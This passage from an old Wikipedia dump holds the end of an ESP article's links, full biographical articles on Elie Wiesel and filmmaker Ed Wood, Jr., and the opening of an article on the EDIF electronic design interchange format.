The [[zetetics]] laboratory, the french center of CSICOP, is based at the [[University of Nice Sophia-Antipolis]] conducts research into paranormal phenomena.  From 1987 to 2002, they offered an [[International Zetetic Challenge]] in an attempt to prove or disprove the existence of, or demonstrate events related to, the paranormal. This was a €200,000 prize offered to &quot;any person who could prove any paranormal phenomenon.&quot;  

While there were a number of attempts at the prize, and a number of investigations were made, the prize went unclaimed.

==See also==
*[[Intuition]]
*[[List of spirituality-related topics]]
*[[Silva Method]]

==References==
* &quot;Psychic dog phenomenon brought back down to earth&quot;. http://news.bbc.co.uk/1/hi/entertainment/155928.stm Accessed on December 9, 2004.
* Skeptic proves Psi (about psychic dog).  http://amethodnotaposition.blogspot.com/2005/09/skeptic-proves-psi.html
* Myers, David G.  ''Psychology''. http://www.davidmyers.org/esp/ Accessed on December 9, 2004. The information concerning the Randi Foundation tests appears in this book.  [http://www.davidmyers.org/Brix?pageID=61&amp;article_part=3]

==External links==

* [http://www.scottbruno.com/the6thsense.htm The Sixth Sense.]
* [http://www.school-for-champions.com/senses/6thsense.htm Your 6th Sense and Beyond]
* [http://l33th4x0r.ath.cx/1/ Do you have ESP? Find out with this game.]
* [http://www.scientificpsychic.com/esp/esptest.html On-line Extrasensory Perception Test using Zener Cards]
* [http://www.paranormalforums.net Paranormal Forums]&lt;br&gt;Paranormal Forums for discussion of all Paranormal related topics including [http://www.paranormalforums.net/index.php?c=52 ESP].
* [http://www.csicop.org/genx/ganzfeld/index.html The Best Case for ESP?] 
* [http://www.csicop.org Committee for the Scientific Investigation of Claims of the Paranormal]
* [http://www.rhine.org Rhine Research Center, Institute For Parapsychology.]
* [http://amethodnotaposition.blogspot.com/2005/08/category-scientific-studies.html Summaries of scientific studies demonstrating Psi phenomena with links to the actual studies]
* [http://www.csicop.org/si/9911/lilienfeld.html New Analyses Raise Doubts About Replicability of ESP Findings (&lt;i&gt;Skeptical Inquirer&lt;/i&gt;)]
* [https://webspace.utexas.edu/cokerwr/www/index.html/esp.html ESP &quot;fact sheet&quot;]
* [http://www.newadvent.org/cathen/14475a.htm Catholic Encyclopedia article]
* [http://s15.invisionfree.com/psychic_community A forum about everything paranormal. Check it out!]
[[Category:Paranormal phenomena]]
[[Category:Pseudoscience]]

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    <title>Elie Wiesel</title>
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      <comment>its chlomo, not shlomo. check Night.</comment>
      <text xml:space="preserve">[[Image:Eli Wiesel US Congress.jpg|thumb|150px|right|Elie Wiesel]]

'''Eliezer Wiesel''' (commonly known as '''Elie''') (born [[September 30]], [[1928]]) is a world-renowned novelist, philosopher, humanitarian, political activist, and [[the Holocaust|Holocaust]] survivor. He is the author of over forty books, the most famous of which, ''[[Night (book)|Night]]'', is an autobiographical [[novella]] that describes his experiences during the Holocaust. 

Wiesel was awarded the [[Nobel Peace Prize]] in 1986. The Norwegian Nobel Committee called him a &quot;messenger to mankind&quot;, noting that through his struggle to come to terms with &quot;his own personal experience of total humiliation and of the utter contempt for humanity shown in [[Hitler]]'s death camps&quot;, as well as his &quot;practical work in the cause of peace&quot;, Wiesel has delivered a powerful message &quot;of peace, atonement and human dignity&quot; to humanity. {{ref|Nobel}}

Wiesel lives in the [[United States]], where he teaches at [[Boston University]] and serves as the chairman of the Elie Wiesel Foundation for Humanity. {{ref|ewfoundation}} 

==Early life and experiences during the Holocaust==
[[Image:Buchenwald.jpg|thumb|300px|left|Buchenwald, 1945. Wiesel is on the second row, seventh from the left.]]

Wiesel was born in [[Sighetu Marmatiei|Sighet]] (now Sighetu Marmaţiei), [[Romania]], to Chlomo Wiesel and his wife Sarah, the daughter of Dodye Feig, a [[Hasidic Judaism|Hasid]] and farmer from a nearby village. Chlomo was an [[Orthodox Jew]] of [[Hungary|Hungarian]] descent, and a shopkeeper who ran his own grocery store. He was active and trusted within the community, and had spent a few months in jail for having helped [[History of the Jews in Poland|Polish Jews]] who escaped to Hungary in the early years of the war. It was Chlomo who instilled a strong sense of [[humanism]] in his son, encouraging him to learn [[Hebrew language|Modern Hebrew]] and to read literature, whereas his mother encouraged him to study [[Torah]] and [[Kabbalah]]. Wiesel has said his father represented reason, and his mother, faith (Fine 1982:4). He was the only son, and had three sisters, Hilda, Beatrice, and Tzipora.

The town of Sighet became part of the German ally [[Hungary]] in 1940, and in 1944 the [[Nazi Germany|Nazis]] deported the Jewish community in Sighet to [[Auschwitz concentration camp|Auschwitz&amp;ndash;Birkenau]]. While at Auschwitz the number A-7713 was tattooed into his left arm. Wiesel was separated from his mother and younger sister, who are presumed to have been murdered at Auschwitz. Wiesel and his father were sent to the attached work camp Buna-Werke, a subcamp of [[Auschwitz Concentration Camp|Auschwitz III Monowitz]]. He managed to remain with his father for a year as they were forced to work under appalling conditions and shuffled between concentration camps in the closing days of the war. In January 1945, just a few weeks after the two were marched to [[Buchenwald]] and only months before the camp was liberated by the American [[U.S. Third Army|Third Army]], Wiesel's father died of [[dysentery]], [[starvation]], and [[exhaustion]], after being beaten by a guard.

==After the war==
{{Quote box|
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|quote=I was the accuser, God the accused. My eyes were open and I was alone&amp;ndash;terribly alone in a world without God and without man.
|source=Elie Wiesel, ''Night'' (1958)&lt;br&gt;Translated by Stella Todway|}}

After the war, Wiesel was placed in a French [[orphanage]] where he learned the [[French language]] and accidentally found two older sisters, Hilda and Bea, who had also survived the war. In 1948, Wiesel began studying philosophy at the [[University of Paris|Sorbonne]]. He taught [[Hebrew language|Hebrew]] and worked as a choirmaster before becoming a professional journalist. As a journalist he wrote for Israeli and French newspapers, including ''Tsion in Kamf'' (in [[Yiddish language|Yiddish]]) and the French [[newspaper]], ''[[L'arche]]''. However, for ten years after the war, Wiesel refused to write about or discuss his experiences during the Holocaust. Like many survivors, Wiesel could not find the words to describe his experiences. However, a meeting with [[François Mauriac]], the 1952 [[Nobel Prize in Literature|Nobel Laureate in Literature]], who eventually became Wiesel's close friend, persuaded him to write about his Holocaust experiences.

Wiesel wrote an 800-page manuscript edited to a 253-page book on his experiences, ''Un di velt hot geshvign'', in Yiddish, (although he usually writes in French). The work was originally published in [[Buenos Aires]]. Wiesel compressed and rewrote that book in French, and it was published as the 127-page novel ''[[La Nuit]]'', published in English as ''[[Night (book)|Night]].'' Even with Mauriac's support, Wiesel had trouble finding a publisher for his book, and initially it sold poorly.

==Life in the United States==
In 1955, Wiesel moved to [[New York]], where he worked as a foreign correspondent for ''[[Yedioth Ahronoth]]''. The next year he was struck by a taxi and was confined to a wheelchair for over a year. Classified as a stateless person, he applied for and became a [[naturalized citizen]] of the U.S. in 1963.

In the U.S., Wiesel wrote over forty books, both fiction and non-fiction, and won many literary prizes. Wiesel's writing is considered among the most important works in [[The Holocaust in art and literature|Holocaust literature]]. Some historians credit Wiesel with giving the term 'Holocaust' its present meaning, but he does not feel that the word adequately describes the event and wishes it was used less frequently to describe less significant occurrences such as everyday tragedies (Wiesel:1999, 18).

He was awarded the [[Nobel Peace Prize]] in 1986 for speaking out against violence, repression and racism. He has received many other prizes and honors for his work, including the [[Congressional Gold Medal of Honor]] in 1985 and election to the [[American Academy of Arts and Letters]] in 1996. Wiesel has published two volumes of his [[memoirs]]. The first, ''All Rivers Run to the Sea'' was published in 1995 and covered his life up to the year 1969 while the second, titled ''And the Sea is Never Full'' and published in 1999, covered the years from 1969 to  1999. 

Wiesel and his wife, Marion, started the Elie Wiesel Foundation for Humanity. He served as chairman for the [[Presidential Commission on the Holocaust]] (later renamed U.S. Holocaust Memorial Council) from 1978 to 1986, spearheading the building of the [[United States Holocaust Memorial Museum|Memorial Museum]] in [[Washington, DC]]. 

Wiesel is particularly fond of teaching and holds the position of [[Andrew Mellon Professor of the Humanities]] at [[Boston University]]. From 1972 to 1976, Wiesel was a Distinguished Professor at the [[City University of New York]]. In [[1982]] he served as the first [[Henry Luce Visiting Scholar in Humanities and Social Thought]] at [[Yale University]].

Wiesel has become a popular speaker on the subject of the Holocaust. As a political activist, he has advocated for many causes, including [[Israel]], the plight of [[Soviet Jews|Soviet]] and [[Beta Israel|Ethiopian Jews]], the victims of ''[[apartheid]]'' in [[South Africa]], [[Argentina]]'s ''[[Desaparecidos]]'', [[Bosnians|Bosnian]] victims of [[ethnic cleansing]] in the former [[Yugoslavia]], [[Nicaragua]]'s [[Miskito|Miskito Indians]] and the [[Kurds]].

==Criticism==
*[[Noam Chomsky]], the Jewish linguist and radical leftist, has accused Wiesel of hypocrisy for failing to speak out on behalf of the [[Palestinian people|Palestinians]].
*[[Norman Finkelstein]], author of ''[[The Holocaust Industry]]'', has accused Wiesel of inappropriately turning his work on the Holocaust into a business and of charging excessive lecture fees. Finkelstein has also criticized Wiesel's support of the State of Israel in the [[Israeli-Palestinian conflict]].
*[[Christopher Hitchens]] has also lambasted Wiesel, calling him a &quot;contemptible [[poseur]] and [[windbag]].&quot; Writing in ''[[The Nation (U.S. periodical)|The Nation]]'', Hitchens wrote that Wiesel was indifferent to the killing of [[Arabs]] at [[Sabra and Shatila]], commenting that in &quot;1982, after Gen. [[Ariel Sharon]] had treated the inhabitants of the Sabra and Shatila camps as target practice for his paid proxies, Wiesel favored us with another of his exercises in [[neutrality]]. Asked by the ''[[New York Times]]'' to comment on the incident, he was one of the few American Jews approached on the matter to express zero remorse. 'I don’t think we should even comment,' he said, proceeding to comment bleatingly that he felt 'sadness&amp;ndash;with Israel, and not against Israel.' For the victims, not even a perfunctory word.&quot;[http://www.marxists.de/middleast/press/wiesel.htm]

== Books ==
&lt;small&gt;ISBN numbers maybe of reissues or reprints. Most are paperback.&lt;/small&gt;
Un di velt hot geshvign (Tsentral-Farband fun Poylishe Yidn in Argentine, 1956)
&lt;!--SlimVirgin's list--&gt;
* ISBN 0374521409 includes the following 3 books:
**''[[Night (book)|Night]]'' (Hill and Wang 1960; Bantam) ISBN 0553272535
**''[[Dawn (book)|Dawn]]'' (Hill and Wang 1961; Bantam) ISBN 0553225367 
**''The Accident'' (''Le Jour'') (Hill and Wang 1962; Bantam) ISBN 0553581708 
*''The Town Beyond the Wall'' (Atheneum 1964) 
*''The Gates of the Forest'' (Holt, Rinehart and Winston 1966) 
*''The Jews of Silence'' (Holt, Rinehart and Winston 1966) ISBN 0935613013 
*''Legends of our Time'' (Holt, Rinehart and Winston 1968) 
*''A Beggar in Jerusalem'' (Random House 1970) 
*''One Generation After'' (Random House 1970) 
*''Souls on Fire'' (Random House 1972) ISBN 067144171X
*''Night Trilogy'' (Hill and Wang 1972) 
*''[[The Oath]]'' (Random House 1973) ISBN 0935613110 
*''Ani Maamin'' (Random House 1973) 
*''Zalmen, or the Madness of God'' (Random House 1974) 
*''Messengers of God'' (Random House 1976) ISBN 067154134X
*''A Jew Today'' (Random House 1978) ISBN 0935613153 
*''Four Hasidic Masters'' (University of Notre Dame Press 1978) 
*''Images from the Bible'' (The Overlook Press 1980) 
*''The Trial of God'' (Random House 1979) 
*''The Testament'' (Summit 1981) 
*''Five Biblical Portraits'' (University of Notre Dame Press 1981) 
*''Somewhere a Master'' (Summit 1982) 
*''The Golem'' (Summit 1983) ISBN 0671496247 
*''The Fifth Son'' (Summit 1985) 
*''Against Silence'' (Holocaust Library 1985) 
*''Twilight'' (Summit 1988) 
*''The Six Days of Destruction'' (Paulist Press 1988) 
*''A Journey of Faith'' (Donald I. Fine 1990) 
*''From the Kingdom of Memory'' (Summit 1990) 
*''Evil and Exile'' (University of Notre Dame Press 1990) 
*''Sages and Dreamers'' (Summit 1991) 
*''The Forgotten'' (Summit 1992) ISBN 0805210199 
*''A Passover Haggadah'' (Simon and Schuster 1993) ISBN 0671735411 
*''All Rivers Run to the Sea: Memoirs, Vol. I, 1928-1969'' (Knopf 1995) ISBN 0805210288
*''Memoir in Two Voices'', with [[François Mitterrand]] (Arcade 1996) 
*''And the Sea is Never Full: Memoirs Vol. II, 1969'' (Knopf 1999) ISBN 0805210296
*''King Solomon and his Magic'' (Greenwillow 1999) 
*''Conversations with Elie Wiesel'' (Schocken 2001) 
*''The Judges'' (Knopf 2002)
*''Wise Men and Their Tales'' (Schocken 2003) ISBN 0805241736
*''The Time of the Uprooted'' (Knopf 2005)  ISBN 1400041724

== Notes ==
# {{note|Nobel}}[http://nobelprize.org/peace/laureates/1986/press.html 1986 Nobel Peace Prize Press Release]
# {{note|ewfoundation}}[http://www.eliewieselfoundation.org The Elie Wiesel Foundation for Humanity]

== References ==
{{Wikiquote}}
* [http://www.pbs.org/eliewiesel/ Elie Wiesel: First Person Singular] PBS special on Elie Wiesel
* [http://www.achievement.org/autodoc/page/wie0pro-1 Academy of Achievement: Elie Wiesel] (Profile, biography and interview)
* [http://www.historyplace.com/speeches/wiesel.htm Text and audio of Elie Wiesel's famous speech on &quot;The Perils of Indifference&quot;]
*[http://wiredforbooks.org/eliewiesel/ 1988 Audio Interview with Elie Wiesel by Don Swaim of CBS Radio, RealAudio] 
* [http://www.thenation.com/docprint.mhtml?i=20010219&amp;s=hitchens Christopher Hitchens criticizes Elie Wiesel in the Nation Magazine] 
*Fine, Ellen S. ''Legacy of Night: The Literary Universe of Elie Wiesel''. State University of New York Press, 1982. ISBN 0873955900 (paperback)
* Wiesel, Elie. ''All Rivers Run to the Sea: Memoirs.'' New York: Knopf, 1995.
* Wiesel, Elie. ''And the Sea is Never Full: Memoirs 1969-''. New York: Schocken, 1999.

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{{succession box | before = [[International Physicians for the Prevention of Nuclear War]] | title = [[List of Nobel laureates#Peace|Nobel Peace Prize]] | years =1986 | after = [[Óscar Arias]]}}
{{end box}}

[[Category:1928 births|Wiesel, Elie]]
[[Category:Living people|Wiesel, Elie]]
[[Category:Nobel Peace Prize winners|Wiesel, Elie]]
[[Category:Nazi concentration camp survivors|Wiesel, Elie]]
[[Category:Naturalized citizens of the United States|Wiesel, Elie]]
[[Category:Hungarian writers|Wiesel, Elie]]
[[Category:Presidential Medal of Freedom recipients|Wiesel, Elie]]
[[Category:Members of The American Academy of Arts and Letters|Wiesel, Elie]]
[[Category:Formerly stateless people|Wiesel, Elie]]

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  </page>
  <page>
    <title>Ed Wood, Jr.</title>
    <id>10520</id>
    <revision>
      <id>41767841</id>
      <timestamp>2006-03-01T16:33:50Z</timestamp>
      <contributor>
        <username>Planninefromouterspace</username>
        <id>855988</id>
      </contributor>
      <minor />
      <comment>/* Last days */ where Wood died</comment>
      <text xml:space="preserve">:''For the biopic film, see ''[[Ed Wood (film)]]''
:''Edward Wood was also the name of [[Edward Wood, 1st Earl of Halifax]], British Foreign Secretary''

[[Image:Edwood1.jpg|right|thumb|200px|Edward D. Wood, Jr. in the film, ''Glen or Glenda''.]]
'''Edward Davis Wood, Jr.''' ([[October 10]], [[1924]] – [[December 10]], [[1978]]) was a filmmaker known for a series of  movies derided (or heralded, depending on one's fondness for [[kitsch]]) as &quot;the worst of all time.&quot; He is best known as the maker of [[Z-movie|z-grade]] [[Hollywood]] movies, including ultra-low budget [[Horror film|horror]], [[science fiction]] and [[Western (genre)|cowboy]] motion pictures. After extensive critical and commercial failure, he ended his career making [[pornography]] and writing ''schlock'' [[transvestism|transvestite]]-themed novels drawing from his own [[fetish]]es.

Wood's posthumous fame began two years after his death, when he was awarded a [[Golden Turkey Award]] for being the worst director of all time. Today, he is generally respected by film scholars and historians &amp;mdash; not for his talent, which has so far not undergone any kind of critical re-appraisal, but for his evident zeal and honest love of movies and movie production. The very lack of conventional filmmaking ability in his work has earned him and his films a considerable [[cult film|cult]] following.  Some of his films have been lampooned on the television series ''[[Mystery Science Theater 3000]]'', which has given those works wider exposure.  

==Early years==
Wood's father, Edward Sr., worked for the [[United States Postal Service|Postal Service]] and his family was shunted around America. Eventually they settled in [[Poughkeepsie, New York|Poughkeepsie]], [[New York]] where Ed Wood Jr. was born.

In childhood, Wood was interested in the performing arts and [[pulp fiction]]. He collected [[comics]], pulp magazines and adored [[movies]], most notably [[Westerns]] and anything involving the [[occult]]. As a result of his obsession with film, he would often [[truancy|skip school]] in favor of watching pictures at the local [[movie theatre]]. Stills from that day's picture would often be thrown in the trash by theatre staff, but Wood would salvage them, making them additions to his extensive collection.

It is reported that Wood's mother, Lillian, always wanted a girl and sometimes dressed young Ed up in [[skirts]] and dresses.  This went on until Ed was about 12 years old. Some have presumed this to be the origin of Wood's non-sexually oriented transvestite tendencies, but others believe that while on a skiing trip with his relatives, one of his aunts told him to wear a jacket, when he said he didn't have one, his aunt took off her own angora jacket and gave it to him (a theme later seen in ''Glen or Glenda'').  The story goes on to say that he liked the feel of the material and made a habit of wearing it.

One of his first paid jobs was as a cinema usher, although he also sang and played drums in a  band. Later, he fronted a singing quartet called ''Eddie Wood's Little Splinters''. He also learned to play a variety of string instruments. Ed was given his first movie [[camera]] on his 17th birthday: a [[Kodak]] 'City Special'. One of the first pieces of footage he shot was of the [[Hindenburg disaster]], a piece he was endlessly proud of.

A [[patriotic]] boy, Wood enlisted in the [[US Marine Corps|Marines]] at age 17, just months after the [[Attack on Pearl Harbor]]. He survived much combat and became a war hero.  He claimed that he had participated in the [[Battle of Guadalcanal]] while secretly wearing a brassiere and panties beneath his uniform.

Fascinated by the exotic and the bizarre, Ed joined a [[carnival]] after being discharged from the Marine Corps. His several missing teeth and disfigured leg (souvenirs from his time in combat) combined with his personal fetishes and acting skills made him a perfect candidate for the [[freakshow]]. Ed played, among other roles, 'the geek' and the bearded lady. Still with rugged facial hair, he donned women's clothing and completed the illusion by creating his own prosthetic [[breasts]]. This was achieved (allegedly) by piercing the [[nipple]] and inflating the breast skin with air. This experience resulted in a respect for carnival freakshows and a reinforced adoration of the bizarre. Carnivals appear in Ed's novels and movies quite often, most notably (and semi-autobiographically) in the novel ''Killer in Drag''.

Wood's other vices included [[soft drugs]], [[alcoholic beverage|alcohol]] and [[sex]]. While he respected women and was completely faithful to his girlfriends (most notably [[Dolores Fuller]]) and wife Kathy O'Hara, Ed was a notorious [[womanizer]] in his younger days.

==Movies==
[[Image:glenda.jpg|left|thumb|200px|Edward D. Wood, Jr. clad in wig and angora sweater for ''Glen or Glenda''.]]
&quot;If you want to know me, see 'Glen or Glenda'. That's me, that's my story, no question. But 'Plan 9' is my pride and joy. We used [[Cadillac (automobile)|Cadillac]] [[hubcap]]s for [[flying saucers]] in that.&quot; - Ed Wood.

Wood's movies were notoriously low budget, and car hubcaps were indeed used as flying saucers in ''[[Plan 9 from Outer Space]]'' (actually, the first time one sees the saucers, they are model kit [[Unidentified flying object|UFO]]s but the store from which they had been purchased had run out of kits by the time more had to be constructed so Wood improvised with the hubcaps only in the later shots). The [[octopus]] at the end of ''[[Bride of the Monster]]'' was supposed to have a motor to create the effect of a violent flailing beast but the motor could not be located at the time, so it looks as though the actor in the scene is wrestling with pure rubber.

One of Wood's heroes was [[Orson Welles]], whom Wood admired because of his ambition and passion for making films.  Wood also prided himself on the fact that he was the only film-maker other than Welles to be [[writer]], [[film director|director]] and usually an [[actor]] in most of his films, although it is likely that Wood took on all of these positions mostly to save time and money. Unlike his counterpart in [[Tim Burton]]'s ''[[Ed Wood (film)|Ed Wood]]'', though, Wood never actually met his hero.

His movies have a rushed quality to them, usually because Wood and his crew were working on a tight schedule due to funding constraints.  While most directors film only one scene per day (or just a fraction of one in more modern pictures), Wood would complete up to thirty. He seldom ordered a single re-take, even if the original was obviously flawed.

A number of has-been celebrities were involved in the most iconic films of Wood's career. [[Bela Lugosi]] had earned lasting fame for his performances in ''[[White Zombie (movie)|White Zombie]]'' and ''[[Dracula]]'', but fell into obscurity and alcohol and drug addiction after [[Hollywood]] lost interest in his [[genre]] movies. Lugosi was given a second chance by Wood and starred in Wood's best and most famous pictures. Some suggest that Wood exploited Lugosi's fame, which was probably true to an extent, but most documents and interviews with other Wood alumni suggest that the two of them were good friends and that Wood helped Lugosi through the worst days of his [[clinical depression|depression]] and [[addiction]]. Other Wood alumni include B-movie regulars [[Kenne Duncan]], [[Lyle Talbot]], [[Conrad Brooks]], [[Duke Moore]] and [[Timothy Farrell]], Swedish [[wrestler]] [[Tor Johnson]]; TV horror host [[Vampira]]; the eccentric gay socialite [[Bunny Breckinridge]] and the [[psychic]] [[Criswell]]. His troupe of &quot;Wood Spooks&quot; would sometimes feature in his pictures completely illogically. Vampira's character in ''Plan 9'' served no purpose to the plot and her vampire attire makes no sense in the context of the film. Similarly, Lugosi's horror-scientist character in ''Glen or Glenda'' is completely out of place for a quasi-documentary on transexuality, and Criswell's horror-film-cliche rising from a coffin during a thunderstorm is incongruous for a science fiction film.

Wood would go to radical extremes to drum up funding for his movies. Most notably, on ''Plan 9 from Outer Space'' he convinced members of the [[Southern Baptist Convention|Southern Baptist church]] to invest the initial capital. There were always [[bilateral]] catches to these unorthodox funding methods though, and in this case the Baptists wanted a member of their own church to take a lead role in the film and demanded that every member of the cast (including Vampira, Tor, 'Bunny' and Criswell) be [[baptism|baptised]] prior to filming. They also changed the name of the movie from ''Grave Robbers from Outer Space'' and removed lines from the script which they considered profane. Such editing from producers and financiers was one factor contributing to Wood's depression and was something he personally attributed to his lack of commercial success.

[[Angora]], Wood's most fond [[fetish]], was regularly featured in his films (most notably in ''[[Glen or Glenda]]''). Kathy O'Hara and others recall that Ed's transvestitism was not a sexual inclination but rather that angora appealed to him because of the neo-[[maternal]] comfort it offered.

==Wood pulp: Wood as author==
While he is famed for his work as a film maker, Wood also penned innumerable novels and occasional [[non-fiction]] pieces. In his later years, he was unable to produce films on a regular basis due to his alcoholism, so he dedicated himself to writing. He would write screenplays for other directors (most famously, ''Bride and the Beast'' for Adrian Weiss) and his own novels for six years after his filmmaking career had drawn to a close.

Most of Wood's novels derived from his own transvestite [[fantasy (psychology)|fantasies]] as well as tapping into his love of crime and the occult. Wood’s careers of novelist and filmmaker would often intersect in that his books would often be [[novelisation]]s of his own screenplays or that the stories from his novels would give way to the writing of a screenplay. Most notably, the character ‘Glen/Glenda’ from the movie ''Glen or Glenda'' would appear in two of his novels.

His stories typically careen off into different and unforeseen directions halfway through, as though no planning had taken place at all, and that Wood had sat down at the typewriter and simply made the story up as he went along. In his quasi-memoir, ''Hollywood Rat Race'', Wood advises new writers to &quot;just keep on writing. Even if your story gets worse, you'll get better.&quot;

As Ed Wood is generally seen to be a naïve and friendly individual with high hopes but an easy-going attitude -- an image perhaps deriving from Johnny Depp's and Tim Burton's portrayal of him in the 1994 [[biopic]] -- some of his novels may be shocking to the average film/literature historian. Wood's dark side emerges in such sexual shockers as ''Raped in the Grass'' or ''The Perverts'' and in short stories such as &quot;Toni: Black Tigress&quot;, which preyed on common [[racist]] fears. One might argue, however, that Wood was writing for a specific market and that the content of these books are not personal opinion. &lt;!--but it is nonetheless true that most of his books did derive from Wood's own vices and views.--&gt;

Many of Ed's books did not make it into publication. ''Hollywood Rat Race'', for example, was only released in 1998, perhaps as a result of modern interest in Ed Wood resulting from Tim Burton's 1994 biopic. The book is non-fiction: part primer for young actors and writers wanting to take on the motion picture industry and part memoir, revealing such stories as how he and Lugosi entered into the world of night club [[cabaret]].

==Last days==
Wood had serious money troubles in his last days as he was often at the mercy of exploitative producers and independent directors. He would often produce full movie scripts for as little as one hundred dollars in order to make ends meet, and the entirety of his personal belongings could be packed into a single leather suitcase. His film career degenerated into directing (and occasionally appearing in) low grade [[pornographic]] films such as ''[[Necromania]]''.

Wood's depression grew, and with it a serious [[alcoholism|drinking problem]], notably an addiction to [[whisky]]. Many believe his depression was caused by the realization that he had failed in his quest for artistic recognition and stardom. Evicted from his Hollywood apartment, Wood and his wife moved into the bungalow of an actor friend. Only days after the move, Wood died of a heart attack while watching a televised football game, aged 54.

Posthumously, his extensive portfolio of terrible motion pictures earned him the Golden Turkey Award for being &quot;the worst director of all time&quot;.

==Tim Burton's ''Ed Wood'' (1994)==
''Main article: [[Ed Wood (film)]].''

The [[1994]] film ''[[Ed Wood (movie)|Ed Wood]]'', by director [[Tim Burton]], tells the story of Wood and Bela Lugosi and the making of the three films they did together (''[[Glen or Glenda]]'', ''[[Bride of the Monster]]'' and ''[[Plan 9 from Outer Space]]''), from a sympathetic point of view. Wood was played by [[Johnny Depp]] and Lugosi by [[Martin Landau]], who won an [[Academy Award for Best Supporting Actor]].


==Cult Status==
Among connoiseurs of [[kitsch]] and bad cinema, Ed Wood is revered as being the ultimate &quot;bad&quot; director of all time. His cult status began two years after his death with his recognition in the book ''The 50 Worst Films Ever Made'', and has continued with the rediscovery of many of his long-lost works. Most recently, his unfilmed script ''I Awoke Early The Day I Died'' has been filmed with [[Billy Zane]] and [[Christina Ricci]], and has preserved the inept, goofy character that made Ed's films famous.

The prestigious [[University of Southern California]] annually holds the &quot;Ed Wood Film Festival&quot;, in which students of all disciplines are challenged to form teams that write, film, and edit an Ed Wood-inspired short film based on a preassigned theme.  Past themes have included &quot;Slippery When Wet&quot; (2006), &quot;What's That In Your Pocket?&quot; (2005), and &quot;Rebel Without A Bra&quot; (2004).

Paradoxically, many of Ed Wood's most famous films, including ''Glen or Glenda?'' and ''Plan 9 From Outer Space'' have been remade as [[Pornography|pornographic]] movies (as &quot;''Glen &amp; Glenda'''' and &quot;''Plan 69 From Outer Space'',&quot; respectively) - not simply spoofed or referenced, but reshot, with the same or similar script, with sex scenes worked in around what little plot was in the original. This is somewhat ironic due to the fact that many of Ed Wood's later films were fully or partly pornographic or contained sexual themes.

==Books==
There have also been a number of titles written about Ed Wood including:

*''Nightmare of Ecstasy'' by Rudolph Grey (ISBN 0922915245) - the primary source of biographical information for anyone interested in Ed Wood.
*''Muddled Mind: The Complete Works of Edward D. Wood, Jr.'' by David C. Hayes and Hayden Davis.
*''This is Wood: an illustrated conversation between a Hollywood Historian and a Dead Director'' by Rob Westwood.
*''Ed Wood: The Early Years'' by Jean Marie Stine.

==See also==
*[[B-Movie]]
*''[[Plan 9 from Outer Space]]''
*''[[Ed Wood (movie)|Ed Wood]]''
*[[Ed Wood, Jr. filmography]]
*[[Ed Wood, Jr. bibliography]]
==External links==
* {{imdb name|id=0000248|name=Ed Wood Jr.}}
* [http://home.netcom.com/~hunt_for_ed_wood/MAIN.html The Hunt for Edward D. Wood, Jr.] Exhaustive guide to Ed's films and their commercial releases.
* [http://www.edwood.org/index-main.html The Church of Ed Wood] &quot;Church&quot; devoted to the 'teachings' of Ed Wood.
* [http://www.freeinfosociety.com/site.php?postnum=584 Bio and pictures]

[[Category:1924 births|Wood, Ed, Jr.]]
[[Category:1978 deaths|Wood, Ed, Jr.]]
[[Category:American film directors|Wood, Ed Jr.]]
[[Category:American World War II veterans|Wood, Ed]]
[[Category:B-movie directors|Wood, Ed Jr.]]
[[Category:Mystery Science Theater 3000|Wood, Ed, Jr.]]
[[Category:People from New York|Wood, Ed, Jr.]]
[[Category:Transgender and transsexual people|Wood, Ed, Jr.]]

[[cs:Ed Wood]]
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  </page>
  <page>
    <title>EDIF</title>
    <id>10522</id>
    <revision>
      <id>40363392</id>
      <timestamp>2006-02-20T01:50:17Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''EDIF'''  stands for '''Electronic Design Interchange Format''', and has been predominantly used as a neutral format in which to store Electronic [[netlist]]s and schematics.

== Prehistory ==

EDIF was an attempt to solve the problem stemmed from considerable competition among companies in [[electronic design|electronic design industry]]. These companies produced their own [[electronic design]] [[database]]s which were highly proprietary. When customers needed to transfer data from one system to another, it was necessary to write translators from one format to other. As the number of formats (''N'') multiplied, the translator issue became an ''N''-squared problem. 

EDIF originated from a discussion of three men &lt;!--[''who?'']--&gt;, who envisioned a common, neutral format from which all the other formats could be derived, and began work on this neutral format.  In November 1983 this effort grew into the EDIF Steering Committee, consisting of representatives of [[Daisy Systems]], [[Mentor Graphics]], [[Motorola]], [[National Semiconductor]], [[Tektronix]], [[Texas Instruments]] and the [[University of California, Berkeley]].

== Syntax ==

The general format of EDIF involves using parentheses to delimit data definitions, and in this way it superficially resembles [[Lisp programming language|LISP]]. The basic tokens of EDIF 2.0.0 were keywords (like ''library'', ''cell'', ''instance'', etc), strings (delimited with double quotes), integer numbers, and symbolic constants (e.g. ''GENERIC'', ''TIE'', ''RIPPER'' for cell types), and &quot;Identifiers&quot;, which are reference labels formed from a very restricted set of characters. 
EDIF 3.0.0 and 4.0.0 dropped the symbolic constants entirely, using  keywords instead. 

So, the syntax of EDIF has a fairly simple foundation.

== Versions ==

The 1 0 0 release of EDIF was made in [[1985]].

The first &quot;real&quot; public release of EDIF was version 2 0 0, which was approved in March of [[1988]] as the standard ANSI/EIA-548-1988. It is published in a single volume.

The industry tested this release for several years, and committees formed from dozens of companies evaluated its weaknesses, and in September of 1993, released version 3 0 0, given the designation of [[EIA]] standard EIA-618. It later achieved [[ANSI]] and [[International Organization for Standardization|ISO]] designations. It is published in 4 volumes.

EDIF 4 0 0 was released in late August, [[1996]], mainly to add &quot;Printed Circuit Board&quot; extensions to EDIF 3 0 0. This more than doubled the size of EDIF 3 0 0, and is published in HTML format on CD.

== Evolution ==

=== Problems with 2 0 0 ===

To understand the problems users and vendors encountered with EDIF 2 0 0, one first has to picture all the elements and dynamics of the electronics industry. The people who needed this standard were mainly design engineers, who worked for companies whose size ranged from a house garage to multi-billion dollar facilities with thousands of engineers. These engineers worked mainly from schematics and netlists in the late 1980s, and the big push was to generate the netlists from the schematics automatically. The first suppliers were Electronic Design Automation vendors (e.g., Daisy, Mentor, and Valid formed the earliest predominating set). These companies competed vigorously for their shares of this market. Perhaps an analogy of multiple armies fighting a brutal battle for control of the civilian (engineering) population might be appropriate.

One of the tactics used by these companies to &quot;capture&quot; their customers was their proprietary databases. Each had special features that the others did not. Once a decision was made to use a particular vendor's software to enter a design, the customer was ever after constrained to use no other software. To move from vendor A's to vendor B's systems usually meant a very expensive re-entry of almost all design data by hand into the new system. This expense of &quot;migration&quot; was the main factor that locked design engineers into using a single vendor.

